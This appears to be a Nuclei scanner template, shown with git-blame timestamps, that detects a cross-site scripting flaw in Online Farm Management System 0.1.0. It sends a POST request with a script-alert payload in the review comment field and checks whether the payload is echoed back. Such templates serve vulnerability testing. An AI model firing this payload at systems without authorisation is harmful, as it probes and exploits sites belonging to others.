2022-07-21 09:36:42 +00:00
|
|
|
id: onlinefarm-management-xss
|
2022-07-20 16:44:07 +00:00
|
|
|
|
|
|
|
info:
|
2022-07-20 18:22:19 +00:00
|
|
|
name: Online Farm Management System 0.1.0 - Cross-Site Scripting
|
2022-07-20 16:44:07 +00:00
|
|
|
author: arafatansari
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
Online Farm Management System is affected by Cross-Site Scripting on the review.php file.
|
2022-07-20 18:22:19 +00:00
|
|
|
reference:
|
|
|
|
- https://www.exploit-db.com/exploits/48673
|
|
|
|
metadata:
|
|
|
|
verified: true
|
2022-08-27 04:41:18 +00:00
|
|
|
tags: onlinefarm,cms,xss,edb
|
2022-07-20 16:44:07 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
2022-07-20 18:22:19 +00:00
|
|
|
POST /reviewInput.php?pid=1 HTTP/1.1
|
2022-07-20 16:44:07 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2022-07-20 18:22:19 +00:00
|
|
|
comment=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&rating=0
|
2022-07-20 16:44:07 +00:00
|
|
|
|
|
|
|
redirects: true
|
|
|
|
max-redirects: 2
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
2022-07-20 18:22:19 +00:00
|
|
|
- '<em style="color: black;"><script>alert(document.domain)</script>'
|
2022-07-20 16:44:07 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- text/html
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|